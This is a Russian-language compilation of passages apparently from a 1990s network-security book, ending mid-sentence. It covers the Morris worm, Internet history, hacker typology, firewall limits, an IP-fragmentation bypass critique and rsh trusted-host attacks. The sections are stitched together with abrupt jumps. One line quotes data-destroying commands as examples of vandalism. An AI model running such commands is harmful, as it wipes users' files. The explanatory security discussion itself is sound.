Червь
В этом разделе мы перейдем к подробному рассмотрению не только самого известного случая нарушения безопасности Сети, но и самого крупного инцидента в области компьютерной безопасности вообще - вируса Морриса (Internet worm). Более того, он представлял собой не просто единичное вторжение в некоторый компьютер, а дал ответ на давний вопрос, могут ли не в абстрактных условиях существовать саморепродуцирующиеся программы (то, что теоретически это возможно, признавалось почти всеми). А подтвердив возможность создания такой программы, этот инцидент дал толчок к появлению целой отрасли компьютерной безопасности - компьютерной вирусологии (к тому времени уже существовали единичные вирусы и на персональных компьютерах - саморепродуцирующиеся в пределах одного компьютера).
Остается открытым (исходя, как мы увидим в дальнейшем, из существования схожих проблем безопасности UNIX и в наши дни) вопрос, почему же по сей день известен только один пример сетевого червя. Видимо, дело в том, что в странах с развитой компьютерной и сетевой инфраструктурой на сегодняшний день действует (во многом, кстати, вследствие вируса Морриса) очень жесткое законодательство против компьютерных преступлений такого рода (тем более, что написание червя не приносит никакой материальной выгоды - только сомнительную известность), а в странах, где подобные законы отсутствуют, отсутствует также и доступ широких кракерских масс к глобальным компьютерным сетям. Отсюда можно сделать вывод, что в ближайшем будущем, когда распространенность сетей достигнет необходимого уровня, нас ждут примеры новых сетевых червей, сделанных хакерами этих стран, и Россия здесь может занять одно из первых мест, учитывая, что за последние годы именно она давала наибольший процент мировых компьютерных вирусов.
К 1988 году интернет как глобальная сеть уже практически сформировался, и практически все услуги сегодняшнего дня (кроме WWW) использовались и тогда. С другой стороны, в хакерских и околохакерских кругах скопилось достаточно информации о брешах в системах безопасности и способах несанкционированного проникновения в удаленные компьютеры. Критическая масса была накоплена, и она не могла не взорваться.
Итак, в начале ноября 1988 г. Сеть была атакована так называемым сетевым червем, впоследствии получившим в русскоязычной литературе название "вирус Морриса" по имени его создателя - студента Корнельского университета Роберта Морриса-младшего. Сетевым червем называют разновидность компьютерных вирусов, имеющих способность к самораспространению в локальной или глобальной компьютерной сети. Для этого червь должен обладать несколькими специфическими процедурами:
нахождения новых целей для атаки;
собственно проникновения в них;
передачи своего кода на удаленную машину;
запуска (получения управления) на ней;
проверки на зараженность локальной или удаленной машины для ее повторного незаражения.
Правовые вопросы и последствия запуска червя рассматривались в главе 1, а теперь мы опишем подробно структуру, механизмы и алгоритмы, им применяемые. Было решено свободно распространять их, в отличие от исходных текстов, полученных в результате дизассемблирования. Однако по истечении 9 лет такое ограничение потеряло свою актуальность (воспользоваться сегодня ими все равно не удастся), и они могут быть найдены в интернете. Большинство материала этого раздела взято из [18, 19].
Что дальше?
В последние годы борьба за мировое лидерство все заметнее смещается в область телекоммуникаций. По уровню информационной насыщенности экономической и общественной жизни впереди идут США. Этому способствуют мощь экономики, ее мобильность, постоянные инвестиции, приток в эту сферу деятельности ученых и бизнесменов. Кроме того, большую роль играет собственно американское государство, которое субсидирует многие приоритетные направления науки и промышленности.
Рис. 2.4. Экспоненциальный рост числа хостов в сети Internet.
Информатика и телекоммуникации позволяют не только кардинально преобразовывать экономику, но и, по взглядам американских специалистов, обеспечить экономико-финансовое и даже военно-стратегическое превосходство.
Свидетельством такого отношения США к информатике и телекоммуникациям служит подписанный 8 февраля 1996 года президентом Б. Клинтоном Закон о телекоммуникациях. В своей речи на церемонии подписания Клинтон сказал: "Сейчас информационная революция вновь переделывает наш мир, изменяя привычные методы работы, уклад жизни и даже наше отношение друг к другу" . Закон, в частности, предусматривает подключение к 2000 году всех американских школ, библиотек и больниц к Internet.
До середины 80-х годов Западная Европа шла вровень с США в области телекоммуникаций. В 1984 году были начаты различные долгосрочные проекты, в том числе и в области телекоммуникаций. Например, программа ESPRIT предназначена для создания европейского "информационного общества" ; часть этой программы посвящена исследованиям в области программного обеспечения и технологий мультимедиа. Програм-мы STAR, RACE и ACTS имеют связную направленность. Их цель заключается в создании паневропейской широкополосной сети общего доступа.
Последние годы в Японии наблюдается настоящий бум компьютерных сетей. В начале 1995 года при кабинете министров был учрежден "Центр содействия построению информационного общества" , который выполняет задачу выхода на первое место в мире по мультимедиа. Ведутся разработки новых технологий для "Японской информационной супермагистрали" .
В настоящее время около 60% пользователей Internet живет в США, 21% в Европе и 6% - в Японии. Численность подсоединенных к Internet хостов [3] растет по экспоненциальному закону, что иллюстрируется рис. 2.4.
Увеличивается число серверов, используемых не только для предоставления информации и рекламы, но и для осуществления торговых и финансовых операций. Разрабатываются и внедряются различные устройства мультимедиа, которые функционируют в Internet. В различных странах создаются свои "суперсети" для подключения к Сети сетей. Экономический форум ведущих стран в феврале 1997 года в Давосе проходил под девизом: "Создание сетевого общества в эпоху Internet" .
В 1994 году рынок телекоммуникаций в США составил порядка 15 миллиардов долларов, в том числе
(в миллиардах долларов): службы частных каналов - 9; оборудование локальных сетей и маршрутизаторов - 3; службы глобальных сетей - 1; службы электронных сообщений и новостей - 1; программное обеспечение и аппаратура - 1.
С середины 80-х годов внимание коммерческих кругов стал привлекать Internet как возможность устойчивого бизнеса на производстве оборудования для применения сети. NYSERNET (the New York State regional network) первой основала компанию Performance Systems International, которая и поныне является одним из наиболее удачливых провайдеров служб Internet. К наиболее сильным провайдерам относятся ALTERNET (возник-ший из UUNET), CERFNet (инициированная General Atomic в 1989 году), NEARNET (начавшая функционировать в Бостоне, а затем влившаяся в группу компаний предоставления служб BBN Planet, образовавшейся, кстати, из фирмы BBN - родоначальника IMP для Internet).
Одной из главных причин экспоненциального роста Internet явилось появление и развитие все новых услуг и возможностей для пользователей сети, особенно введение звука и видеоизображений, индексирования и различных поисковых служб. Многие из этих служб зародились в результате исследований университетов и научных центров. Примером могут служить Altavista, Lycos, Yahoo и Infoseek. Эти службы стимулировались появлением World Wide Web.
Разработанный в CERN, WWW был впервые опробован в 1989 году. В 1992 году он привлек внимание программистов из NCSA (National Centre for Supercompyting Applications) в университете Иллинойса. Эта команда разработала графический броузер для WWW, который получил название Mosaic. По согласованию с NCSA это программное обеспечение распространялось по Internet бесплатно. Возможность оформления многошрифтового гипертекста, включения цветной графики, звука и видеоизображений привело к громадному росту серверов WWW, число которых на май 1995 года составило около 30 000. Компании стали широко использовать Web как средство предложения своих продуктов и служб.
Винтон Кирф в своей статье [5] писал: "Рискованно предсказывать будущее чего-либо столь же динамичного, как Internet" . В этой статье он отметил основные направления развития Internet:
продолжение расширения новых служб;
появление новых услуг по пакетному видео, видеоконференциям, передаче голоса (пакетному телефону);
предложение средств обеспечения безопасности выполнения операций в Internet;
увеличение связи Internet с бизнесом.
Internet, по словам Кирфа, действительно является глобальной инфраструктурой для 21 столетия и, в то же время, является одним из наиболее мощных факторов свободы. Для нас подтверждением этого может служить факт передачи новостей во время путча 1991 года. Только благодаря Internet мир знал о происходящих событиях, и благодаря Internet эти новости доходили до нас.
Firewall как панацея от всех угроз
И последний миф - это миф о системах Firewall как о "единственном надежном средстве обеспечения безопасности" сегмента IP-сети. Да, сама суть Firewall-ме-тодики является абсолютно непогрешимой и логичной. Основной ее постулат состоит в создании выделенного бастиона (bastion host), на который возлагается задача обеспечения контроля и безопасности в защищаемом сегменте сети и через который осуществляется связь данного сегмента с внешним миром. Но это все действует пока в теории. На практике же на сегодняшний день все известные нам системы Firewall неспособны к отражению большинства из описанных удаленных атак (как на протоколы и инфраструктуру сети, так и на телекоммуникационные службы)!
Это, конечно, отнюдь не означает, что отразить данные удаленные атаки принципиально невозможно. По-видимому, все дело в том, что большинство разработчиков систем Firewall, как это часто случается с разработчиками систем защиты ВС, никогда не были хакерами и смотрели на проблему защиты IP-сетей не с точки зрения взломщика, а с точки зрения пользователя.
Хакеры и кракеры, или "Что такое хорошо и что такое плохо?"
Просматривая большое количество статей (главным образом, в электронных журналах) о проблемах компьютерного взлома, нельзя не обратить внимание на тот факт, что ни в одной статье не проводится та грань, которая, по нашему мнению, четко разделяет всех, так или иначе связанных с компьютерной безопасностью. В основном, мнение компьютерного мира по этому поводу либо сугубо негативное (хакеры - это преступники), либо - скромно-позитивное (хакеры - "санитары леса" ). На самом деле у этой проблемы существует по меньшей мере две стороны: положительная и отрицательная - и между ними проходит четкая граница. Эта граница разделяет всех профессионалов, связанных с информационной безопасностью, на хакеров (hackers) и кракеров (crackers). И те и другие во многом занимаются решением одних и тех же задач - поиском уязвимостей в вычислительных системах и осуществлением атак на данные системы ("взломом" ).
Самое главное и принципиальное различие между хакерами и кракерами состоит в целях, которые они преследуют. Основная задача хакера в том, чтобы, исследуя вычислительную систему, обнаружить слабые места (уязвимости) в ее системе безопасности и информировать пользователей и разработчиков системы с целью последующего устранения найденных уязвимостей. Другая задача хакера - проанализировав существующую безопасность вычислительной системы, сформулировать необходимые требования и условия повышения уровня ее защищенности.
С другой стороны, основная задача кракера состоит в непосредственном осуществлении взлома системы с целью получения несанкционированного доступа к чужой информации - иначе говоря, для ее кражи, подмены или для объявления факта взлома. Кракер, по своей сути, ничем не отличается от обычного вора, взламывающего чужие квартиры и крадущего чужие вещи. Он взламывает чужие вычислительные системы и крадет чужую информацию. Вот в чем состоит кардинальное различие между теми, кого можно назвать хакерами и кракерами: первые - исследователи компьютерной безопасности, вторые - просто взломщики, воры или вандалы. Хакер в данной терминологии - это специалист. В качестве доказательства приведем определение из словаря Guy L. Steele:
HACKER сущ. 1. Индивидуум, который получает удовольствие от изучения деталей функционирования компьютерных систем и от расширения их возможностей, в отличие от большинства пользователей компьютеров, которые предпочитают знать только необходимый минимум. 2. Энтузиаст программирования; индивидуум, получающий удовольствие от самого процесса программирования, а не от теоретизирования по этому поводу.
Данная трактовка понятия "хакер" отличается от принятой в средствах массовой информации, которые, собственно, и привели к подмене понятий. В последнее время многие специалисты по компьютерной безопасности начали аккуратнее относиться к этим терминам.
Низменность мотивов кракеров приводит к тому, что 90% из них являются "чайниками" , которые взламывают плохо администрируемые системы, в основном благодаря использованию чужих программ (обычно эти программы называются exploit). (Причем это мнение тех самых 10% профессиональных кракеров.) Такие профессионалы - бывшие хакеры, ставшие на путь нарушения закона. Их, в отличие от кракеров-"чайников" , остановить действительно очень сложно, но, как показывает практика, отнюдь не невозможно (см. противоборство Митника и Шимомуры в п. 4.5.2). Очевидно, что для предотвращения возможного взлома или устранения его последствий требуется пригласить квалифицированного специалиста по информационной безопасности - профессионального хакера.
Однако, было бы несправедливо смешать в одну кучу всех кракеров, однозначно назвав их ворами и вандалами. По нашему мнению, кракеров можно разделить на три следующих класса в зависимости от цели, с которой осуществляется взлом: вандалы, "шутники" и профессионалы.
Вандалы - самая известная (во многом благодаря повседневности вирусов, а также творениям некоторых журналистов) и, надо сказать, самая малочисленная часть кракеров. Их основная цель - взломать систему для ее разрушения. К ним можно отнести, во-первых, любителей команд типа: rm -f -d *, del *.*, format c:/U и т.д., и, во-вторых, специалистов в написании вирусов или "троянских коней". Совершенно естественно, что весь компьютерный мир ненавидит кракеров-вандалов лютой ненавистью. Эта стадия кракерства обычно характерна для новичков и быстро проходит, если кракеру удается совершенствоваться (ведь довольно скучно осознавать свое превосходство над беззащитными пользователями). Кракеров, которые даже с течением времени не миновали эту стадию, а только все более совершенствовали свои навыки разрушения, иначе, чем социальными психопатами, не назовешь.
"Шутники" - наиболее безобидная часть кракеров (конечно, в зависимости от того, насколько злые они предпочитают шутки), основная цель которых - известность, достигаемая путем взлома компьютерных систем и внесением туда различных эффектов, выражающих их неудовлетворенное чувство юмора. "Шутники" обычно не наносят существенный ущерб (разве что моральный). На сегодняшний день в Internet это наиболее распространенный класс кракеров, обычно осуществляющих взлом Web-серверов, оставляя там упоминание о себе.
К "шутникам" также можно отнести создателей вирусов с различными визуально-звуковыми эффектами (музыка, дрожание или переворачивание экрана, рисование всевозможных картинок и т.п.). Все это, в принципе, либо невинные шалости начинающих, либо - рекламные акции профессионалов.
Взломщики - профессиональные кракеры, пользующиеся наибольшим почетом и уважением в кракерской среде, основная задача которых - взлом компьютерной системы с серьезными целями, как то кража или подмена хранящейся там информации. В общем случае, для того, чтобы осуществить взлом системы, необходимо пройти три основные стадии: исследование вычислительной системы с выявлением изъянов в ней, разработка программной реализации атаки и непосредственное ее осуществление. Естественно, настоящим профессионалом можно считать того кракера, который для достижения своей цели проходит все три стадии. С некоторой натяжкой также можно считать профессионалом того кракера, который, используя добытую третьим лицом информацию об уязвимости в системе, пишет программную реализацию данной уязвимости. Осуществить третью стадию, очевидно, может в принципе каждый, используя чужие разработки. Но то, чем занимаются взломщики - это обычное воровство, если абстрагироваться от предмета кражи. К сожалению, у нас, в России, все не так просто. В стране, где большая часть программного обеспечения, используемого пользователями, является пиратским, то есть украденным не без помощи тех же взломщиков, почти никто не имеет морального права "бросить в них камень" . Конечно, взлом компьютерных систем с целью кражи ни в коем случае нельзя назвать достойным делом, но и упрекать кракеров-взломщиков могут только те, кто легально приобрел все используемое программное обеспечение.
До сих пор мы все время рассматривали хакеров-кракеров с позиций распределенных систем, но не нужно забывать, что самая многочисленная категория кракеров занимается более обыденными вещами, а именно: снятием защиты с коммерческих версий программных продуктов, изготовлением регистрационных ключей (registration key) для условно-бесплатных программ и т.п. Но в контексте этой книги они не будут упоминаться.
Хронология ARPANET - INTERNET
В настоящее время история Internet еще не написана, хотя уже появилось много заметок и отдельных статей. Все эти материалы находятся в самой Internet [1,2,3]; появились даже диссертации, посвященные ее истории [4]. Попробуем по годам рассмотреть основные события, которые имели отношение к Internet.
В 1962 году исследования ARPA по вопросам военного применения компьютерных технологий возглавил доктор Ликлайдер (J.C.R. Licklider), который предложил для этих целей использовать взаимодействие имеющихся государственных компьютеров. Он способствовал привлечению к этим работам частного сектора и университетских ученых. В этом же году появился отчет, выполненный Полем Бараном (Paul Baran) в корпорации RAND по заказу военно-воздушных сил, "On Distribution Communications" , в котором исследовались различные модели коммуникационных систем и оценивалась их живучесть. В отчете предлагалась децентрализованная система управления и связи, которая продолжала бы функционировать при выходе из строя части системы. Одна из рекомендаций автора касалась построения системы передачи цифровых данных для большого числа пользователей.
Вскоре основным направлением проводимых агентством исследований стали компьютерные сети. Главная идея состояла в построении сети из равноправных узлов, каждый из которых должен был иметь собственные блоки приема, обработки и формирования сообщений, что должно было обеспечить высокую живучесть сети даже при выходе из строя множества узлов. Первые эксперименты по объединению удаленных узлов были проведены уже в 1965 году, когда были соединены компьютеры TX-2 Массачусетского технологического института (MIT Lincoln Lab) и Q-32 корпорации SDC (System Development Corporation) в Санта-Монике. Правда, обмена пакетами между ними в это время еще не проводилось, обмен осуществлялся посимвольно.
В 1967 году на симпозиуме ACM (Association for Computer Machinery) был представлен план создания национальной сети с передачей пакетов. Вскоре после симпозиума Робертс (Lawrence G. Roberts) опубликовал план построения такой сети - ARPANET (Advanced Research Projects Agency NETwork), и уже в 1969 году министерство обороны утвердило ARPANET в качестве ведущей организации для исследований в области компьютерных сетей. Первым узлом новой сети стал UCLA - Центр испытаний сети, а вскоре к нему присоединились Станфордский исследовательский институт (SRI), UCSB - Culler-Fried Interactive Mathematics (университет Санта-Барбары) и университет Юта. На узлах использовались IMP (Interface Message Processor), разработанные корпорацией Bolt Bаranec & Newman, Inc (BBN). Были осуществлены первые передачи знаков из одних машин в другие. Появился первый RFC (Request for Comments) - "Host Software" С. Крокера (S. Crocker). В AT&T Lab была разработана операционная система UNIX. Этот год можно считать годом начала сетевой революции.
С 1970 года хосты ARPANET начали использовать для обмена NCP - Network Control Protocol.
В начале 1971 года в сети было уже 15 узлов: UCLA, SRI, UCSB, University of Utah, BBN, MIT, RAND, SDC, Harvard Lincoln Lab., Stanford, UIU(C), CWRI, CMU, NASA/A, объединивших 23 хоста. В этом же году Томлинсон (Ray Tomlinson) из BBN предложил почтовую программу для пересылки сообщений по сети. В университете Гавайи под руководством Н. Абрахамсона (N. Abrahamson) была разработана ALONAnet.
В 1972 году на международной конференции по компьютерам и связи было продемонстрировано взаимодействие TIP (Terminal Interface Processor) c 40 машинами сети. В этом же году была создана группа INWG (InterNetworking Working Group) под председательством профессора Станфордского университета Винтона Кирфа (Vinton Cerf) для разработки адресации, необходимой для согласования различных протоколов. Кирфом вместе с группой аспирантов была разработана группа протоколов обмена, которые позднее превратились в TCP/IP. "Знал бы я, что протокол TCP/IP станет международным промышленным стандартом, используемым миллионами людей, - отмечал В. Кирф в 1994 году, - я бы выбрал большее, чем 32 разряда, адресное пространство и внимательнее отнесся бы к высокоскоростным средам с длительной задержкой" [5]. Была опубликована спецификация Telnet (RFC 454). В этом году появилась первая коммерческая версия UNIX, написанная на Си. Успех UNIX превзошел все ожидания.
Первые международные подключения к ARPANET были осуществлены в 1973 году, когда к сети подключились машины из Англии (University College of London) и Норвегии (Rogee Radar Establishment). В этом же году была запущена спутниковая линия связи с Гавайским университетом. В сентябре 1973 года Кирф и Кац (Kahn) представили основные идеи национальной сети на совещании INWG в Англии и опубликовали статью
"A Protocol for Packet Network Intercommunications" , в которой были изложены детали проектирования программы управления передачей (Transmission Control Program). В середине 1975 года DARPA пришло к выводу, что ARPANET стабильна и управление Internet было передано DCA (Defence Communications Agency, ныне известное как DISA - Defence Information Systems Agency).
В 1976 году Майк Лиcк (Mike Lesk) из AT&T Bell Labs разработал протокол UUCP ( Unix-to-Unix Copy), и уже через год этот протокол стал поставляться вместе с ОС UNIX версии 7; версия UUCP Berkeley была реализована несколько позднее. Протоколами TCP/IP повсеместно стали пользоваться для подключения к ARPANET.
Данный отрезок времени характеризовался общим ростом числа различных сетей. В 1977 году появилась THEORYNET, разработанная Л. Ландвебером (L. Landweber) из Винсконсинского университета. В сети, объединявшей около 100 специалистов по вычислительной технике, применялась электронная почта и Telnet. Была опубликована спецификация электронной почты
(RFC 733). Тимшаре (Timshare) основал Tymnet. Состоялась демонстрация взаимодействия ARPANET, PRNET (Packet Radio Net), Ethernet и SATNET (Satellite Net-work) на базе протоколов Internet.
В 1979 году на базе UUCP была запущена USENET. Сеть PRNET перешла под эгиду DARPA.
ARPANET теперь фактически состояла из двух пересекающихся сетей. Одна являлась рабочей для исследователей ARPA, другая служила для тестирования и разработки.
В январе 1981 года в целях определения степени пригодности для министерства обороны предлагаемых различными разработчиками компьютерных систем был создан Центр компьютерной безопасности министерства обороны (DSC - Defence Security Center). Началась эксплуатация BITNET (Because It's Time NETwork) и CSNET.
В 1982 году DCA и ARPA установили в качестве основы построения сети Internet Protocol (IP) и Trans-mission Control Protocol (TCP).
Министерство обороны США 1 января 1983 года объявило TCP/IP своим стандартом. Было объявлено, что ARPANET закончила исследовательскую стадию, но продолжает оставаться под руководством DARPA и DCA. Введение разработанного в Висконсинском университете сервера имен более не требовало от пользователей знания цифрового адреса необходимой машины. В этом же году вся ARPANET была переведена с NCP на TCP/IP. Из состава ARPANET выделилась сеть MILNET (Military Network), предназначенная только для обмена военной информацией. Появились настольные рабочие станции c ОС Berkeley UNIX, которая включала программы IP-соединения. Была создана IAB (Internet Activities Board). Очередная версия ОС UNIX Berkeley release 4.2 BSD включала TCP/IP. Был введен в эксплуатацию шлюз между ARPANET и CSNET.
В 1984 году введена система DNS (Domain Name System). Общее число хостов в сети превысило 1 000.
В сентябре 1985 года DSC был переименован в Национальный центр компьютерной безопасности - NCSC (National Computer Security Center), который перешел под управление Агентства национальной безопасности - NSA (National Security Agency). Был создан NSF (National Science Foundation), цель которого состояла в построении сети CSNET (Computer Science Network) для объединения национальных компьютерных центров, многие из которых не имели доступа к ARPANET.
Работы по формированию CSNET усилились в 1986 году, когда началось создание центров суперкомпьютеров. В результате этого была создана сеть NSFNET с магистральной скоростью передачи данных - 56 Кбит/с. Сеть основывалась на 5 суперкомпьютерных центрах в Принстоне, Питсбурге, UCSD, NCSA и Корнельском университете. Это позволило существенно увеличить количество передаваемых данных между университетами. Был разработан и внедрен NNTP (Network News Transfer Protocol) для повышения производительности новостей Usenet.
Число хостов в 1987 году превысило 10 000. Число хостов BITNET достигло 1 000. Построением NSFNET стали заниматься консорциумы IBM, MCI и MERIT.
2 ноября 1988 года выпускник Корнельского университета Роберт Таппан Моррис запустил в сети свою программу, которая из-за ошибки начала бесконтрольное распространение и многократное инфицирование узлов сети. В результате было инфицировано около 6200 машин, что составило 7,3 % общей численности машин в сети. После анализа событий DARPA сформировала CERT (Computer Emergency Response Team). Сеть NSFNET перешла на магистральную скорость T1 (1,544 Мбит/с). К сети NSFNET подключились Дания, Исландия, Канада, Норвегия, Финляндия, Франция и Швеция.
В 1989 году число хостов превысило 100 000. Под эгидой IAB образованы IETF (Internet Engineering Task Force) и IRTF (Internet Research Task Force). К сети подключились Австралия, Великобритания, Германия, Израиль, Италия, Мексика, Нидерланды, Новая Зеландия, Пуэрто Рико и Япония.
В 1990 году собственно ARPANET прекратила свое существование, ее функции продолжала NSFNET. К сети подключились Австрия, Аргентина, Бельгия, Бразилия, Греция, Индия, Ирландия, Испания, Чили, Швейцария и Южная Корея.
В 1991 году в Майнском университете П. Линднер (Paul Lindner) и Марк МакКахил (Mark P. McCahill) разработали программу Gopher. В CERN (Centre European pour la Recherche Nucleare) Тим Бернес-Ли (Tim Berness-Lee) разработал World-Wide Web (WWW). Филипп Циммерман (Philip Zimmermen) реализовал PGP (Pretty Good Privacy). Сеть NFSNET стала использовать магистрали со скоростью T3 (44,736 Мбит/с). Трафик стал составлять 10 миллиардов пакетов в месяц, что составляло 1 триллион байт/месяц. К сети подключились Венгрия, Гонконг, Польша, Португалия, Сербия, Сингапур, Тайвань, Тунис, Чехия и Южная Африка.
Число хостов в 1992 году превысило 1 000 000. Служба IAB (Internet Activities Board) была реорганизована в Internet Architecture Board и стала частью общества Internet (Internet Society). К сети подключились Венесуэла, Камерун, Кипр, Кувейт, Латвия, Люксембург, Малайзия, Словакия, Словения, Таиланд, Эквадор и Эстония.
В 1993 году NSF создал InterNIC для реализации специфических служб Internet: службы директорий и баз данных, службы регистрации и информационной службы. К NSFNET подключились Вирджинские острова, Болгария, Гана, Гуам, Египет, Индонезия, Казахстан, Кения, Коста-Рика, Лихтенштейн, Объединенные Арабские Эмираты, Перу, Румыния, Турция, Украина, Фиджи и, наконец, Россия.
Начиная с 1994 года началась торговая деятельность через сеть. Трафик NSFNET превысил 10 триллионов байт/месяц. По популярности среди пользователей WWW обошла Telnet. К сети подключились Алжир, Армения, Бермудские острова, Буркина-Фасо, Ямайка, Ливан, Литва, Китай, Колумбия, Марокко, Масау, Нигер, Никарагуа, Новая Каледония, Панама, Свазиленд, Сенегал, Узбекистан, Уругвай, Филиппины, Шри-Ланка и Французская Полинезия.
С 1995 года регистрация доменных имен перестала быть бесплатной. Начиная с 14 сентября за регистрацию, которая до этого субсидировалась NSF, взимается плата в размере 50$. С апреля NSFNET, существовавшая только благодаря поддержке правительства, исчезла, и была установлена коммерческая система. Internet продолжил свое существование.
На 1 января 1996 года сеть объединяла 9 472 000 хостов.
Internet Scaner (ISS)
Уже после того, как была написана эта глава, мы столкнулись с программой, которая более-менее удовлетворяет перечисленным требованиям к современному средству автоматизированной проверки безопасности хоста. По крайней мере, она регулярно обновляется. Она оригинально называется Internet Scaner SAFESuite и распространяется компанией Internet Security Systems (ISS - не путать с Internet Security Scaner) по адресу http://www.iss.net. Как вы уже догадались, эта программа не бесплатна, в отличие от SATAN, что в данном случае и неплохо - это несколько ограничит число потенциальных кракеров. Для запуска она требует ключ, пересылаемый вам при покупке пакета, а в оценочную (evaluation) версию включен ключ, который разрешит вам сканирование только своего собственного хоста.
Эта программа реализована под 6 платформ:
Windows NT,
HP/UX 9.x и 10.x,,
AIX 3.2.5 и 4.1,
Linux (ELF),
SunOS 4.1.3,
Solaris (SPARC) 2.x,
при этом любая из реализаций знает уязвимости и других платформ.
Функционально она состоит из трех частей: сканер файрвола, Web-сканер и сканер Intranet. При этом, как и в SATAN, пользователь настраивает уровень сканирования. При этом он имеет возможность редактировать следующие любопытные классы уязвимостей:
в NFS,
в RPC,
в Sendmail/FTP,
в X Windows,
IP Spoofing (включая возможность предсказания TCP-последовательности и атаки на r-службы),
отказ в обслуживании (различные способы),
наличие пользователей по умолчанию,
тестирование стандартных демонов и правильности их настроек,
правильность настроек файрвола,
наличие ошибок и правильность администрирования Web-сервера.
К сожалению, мы не успели проверить качество работы и адекватность тестирования этой программой, но, видимо, на сегодняшний день она является одной из лучших.
IP-фрагментация как способ проникновения через Firewall
Как известно из описания протокола IP (RFC 791),максимальный размер IP-пакета может достигать 216-1 байт. Однако размер пакета (дейтаграм-мы), передаваемого непосредственно по каналу передачи, зависит от типа среды передачи. Например, в среде Ethernet максимальный размер дейтаграммы 1500 байт, в среде ATM - 56 байт. Поэтому для того, чтобы IP-пакеты могли передаваться по сетям любых типов, в протоколе IP предусмотрена фрагментация пакетов. То есть для передачи одного большого пакета он разбивается на соответствующее количество пакетов меньших размеров (их размер обуславливается максимальным размером пакета в соответствующей среде передачи). Этот процесс разбиения IP-пакета на части называется IP-фрагментацией. Применение в сети Internet фрагментации пакетов делает ее более гибкой и инвариантной по отношению к разнообразным физическим средам передачи. На рисунке 4.12 приведен формат IP-пакета версии IPv4.
Не будем вдаваться в подробности, что означает каждое поле в IP-заголовке (RFC 791), так как в данном случае нас будут интересовать только поля Fragment Offset и Flags. В поле Fragment Offset содержится значение, измеряемое восьмерками байт, обозначающее смещение фрагмента относительно начала дейтаграммы (именно на то, что оно измеряется в восьмерках байт, и не обратил внимание д-р F. B. Cohen в его статье "Packet Fragmentation Attacks" [28]). Таким образом, единица в этом поле означает смещение на 8 байт от начала дейтаграммы. Поле Flags показывает фрагментирован ли пакет или нет.
Итак, каков механизм предполагаемого воздействия? Как известно, одной из основных функций всех файрволов является фильтрация проходящего через них сетевого трафика. В случае фильтрации на сетевом уровне ограничивается возможность доступа к определенным службам защищаемых хостов. Тип службы, на которую направляется пакет, определяется параметром "порт назначения" в заголовке пакета TCP или UDP (рис 4.12). Поэтому файрвол анализирует этот параметр и проверяет его соответствие тем правилам фильтрации, которые на нем установлены. В случае соответствия правилам пакет пропускается дальше, в противном случае - отфильтровывается.
Рис. 4.12. Формат IP-пакета версии IPv4.
| 4-bit Version | 4-bit Header Length | 8-bit Type of Service | 16-bit Total Length |
| 16-bit Identification | 3-bit Flags | 13-bit Fragment Offset | |
| 8-bit Time to Live | 8-bit Protocol | 16-bit Header Checksum | |
| 32-bit Source Address | |||
| 32-bit Destination Address | |||
| Options &Padding | |||
| Data |
Рис. 4.13. Формат TCP-пакета.
| 16-bit Source Port Number | 16-bit Destination Port Number | ||
| 32-bit Sequence Number | |||
| 32-bit Acknowledgement Number | |||
| 4-bit Header Length | 6-bit Reserved | 6-bit Flags | 16-bit Window Size |
| 16-bit TCP Checksum | 16-bit Urgent Pointer | ||
| Options & Padding | |||
| Data |
| 16-bit Source Port Number | 16-bit Destination Port Number |
| 16-bit Length | 16-bit Checksum |
| Data |
С этой статьей д-р Cohen'a [28] происходили с течением времени довольно любопытные изменения. В статье, которую авторы нашли на WWW-сервере all.net в мае 1996 года, для осуществления атаки предлагалось занести в поле Fragment Offset значение, равное 1 (далее будет показано, что в этом случае подобная атака в принципе невозможна). Однако, после посещения одного из серверов уже в мае 1997 года авторы с удивлением обнаружили ту же статью, но с одним "небольшим" исправлением: предлагалось заносить в это поле уже не 1, а 0! Во всем остальном статья осталась неизменной.
Действительно, сборкой фрагментированных IP-па-кетов занимается операционная система конечного получателя пакета, и при сборке, как правило, не проверяется, не накладываются ли фрагменты пакета друг на друга. Сетевая ОС собирает фрагментированный пакет и передает его соответствующей службе, основываясь на значении в поле "порт назначения" . На первый взгляд атака состоялась: фрагментированный пакет, направленный одной службе, прошел через файрвол и при сборке фрагментов передался другой службе, доступ на которую был запрещен правилами фильтрации файрвола. Однако, д-р F. B. Cohen не учел того важного факта, что значение в поле смещения согласно спецификации указывается в восьмерках байт, и даже если установить это значение в единицу и предположить, что сетевая ОС не проверяет наложение фрагментов, то после сборки фрагментов наложение произойдет только после первых восьми байт TCP- или UDP-заголовка, в которых, как видно из рис. 4.12, и содержатся поля портов назначения.
Через некоторое время после опубликования статьи д-р Cohen, видимо, обнаружил описанную выше ошибку и внес в сценарий атаки одно изменение: единица в поле Fragment Offset теперь была им заменена на 0! Проанализируем, насколько это изменение сделает возможным осуществление данной атаки.
Действительно, в этом случае атака может быть успешной, так как поле Flags ("индикатор фрагментации" ) во втором пакете атакующий может заполнить нужным ему образом, а ведь именно на основании значения из этого поля сетевая ОС должна принимать решение о начале сборки фрагментов.
Об этом поле в сценарии атаки др. Cohen'a даже не упоминается!
Однако, анализ исходных текстов ядра операционных систем Linux и FreeBSD показал, что IP-пакет будет воспринят этими ОС как фрагмент только в том случае, если значение в поле Fragment Offset не равно 0! Тем не менее, так как в алгоритме сборки фрагментов, описанном в RFC 791, не требуется обязательная проверка значения этого поля, то возможно, что некоторые сетевые ОС ее не производят (что маловероятно!) и, следовательно, атака может иметь успех.
Как нам кажется, сама идея наложения фрагментов является достаточно любопытна. Другое дело, что применение ее для проникновения пакетов атакующего через Firewall в существующем стандарте IPv4 представляется маловероятным.
Использование недостатков идентификации абонентов TCP-соединения для атаки на rsh-сервер
В ОС UNIX существует понятие: доверенный хост. Доверенным по отношению к данному хосту называется сетевой компьютер, доступ на который пользователю с данного хоста возможен без его аутентификации и идентификации с помощью r-службы (r - сокращение от анг. "remote" - удаленный). Обычно в ОС UNIX существует файл rhosts, в котором находится список имен и IP-адресов доверенных хостов. Для получения к ним удаленного доступа пользователю необходимо воспользоваться программами, входящими в r-службу (например, rlogin, rsh и т.д.). В этом случае при использовании r-программ с доверенного хоста пользователю для получения удаленного доступа не требуется проходить стандартную процедуру идентификации и аутентификации, заключающуюся в проверке его логического имени и пароля. Единственной аутентифицирующей пользователя информацией для r-службы является IP-адрес хоста, с которого пользователь осуществляет удаленный r-доступ (п. 8.2). Отметим, что все программы из r-службы реали-зованы на базе протокола TCP. Одной из программ, входящих в r-службу, является rsh, с помощью которой возможно осуществление данной атаки. Программа rsh (remoute shell) позволяет отдавать команды shell удаленному 